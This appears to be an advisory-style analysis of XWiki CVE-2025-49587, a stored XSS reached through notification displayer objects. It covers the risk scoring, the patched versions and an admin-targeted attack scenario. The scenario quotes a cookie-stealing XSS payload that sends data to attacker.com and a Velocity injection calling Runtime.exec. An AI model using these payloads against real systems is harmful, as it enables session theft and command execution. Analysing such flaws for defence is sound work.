Xwiki CVE-2025-49587

This vulnerability presents HIGH real-world risk despite being a stored XSS rather than direct RCE. Attack Vector (Network) and low Access Complexity indicate broad exploitability from remote locations without special setup. However, Privilege Required (Low) and User Interaction (Required - admin must edit the document) moderately constrains the attack surface. The CVSS score of 8.0 (High) reflects the severe impact: full confidentiality, integrity, and availability compromise of wiki data through XSS in an admin context. The vulnerability's real danger lies in the privilege escalation pathway: an unprivileged user can plant malicious content that executes with administrative context when an admin later edits the document. Unlike theoretical high-CVSS issues, this attack chain is practical in collaborative wiki environments where admins regularly review and edit user-created documents. The introduction of warnings in XWiki 15.9 acknowledges this was a known operational risk; the CVE formalizes it as a security defect requiring code-level fixes. The 3-version patch release (15.10.16, 16.4.7, 16.10.2) suggests XWiki maintainers view this as significant enough for backporting across major version lines.

An attacker with valid user credentials (OR an unprivileged user in an open-registration wiki) creates a new document and adds an XWiki.Notifications.Code.NotificationDisplayerClass object containing malicious Velocity code or HTML payload, such as: <img src=x onerror='fetch("http://attacker.com/?cookie=" + document.cookie)'> or Velocity injection like #set($x='').getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('cmd'). The document is saved and appears benign on the wiki. Days or weeks later, an administrator receives a notification or stumbles upon the document during routine maintenance and clicks 'Edit' to review it. Upon save, the NotificationDisplayerClass content is rendered without proper sanitization, and the malicious payload executes in the admin's browser context with full session privileges. The attacker's JavaScript steals the admin's session cookie, allowing account takeover, or modifies wiki content with admin rights. No special exploit code is required beyond crafting the payload—the vulnerability is in the normal wiki workflow. Attack complexity is low because creating a document and waiting for admin interaction is trivial; the only friction is the User Interaction requirement (admin must edit the document), which is predictable in collaborative wikis where admins regularly review user contributions.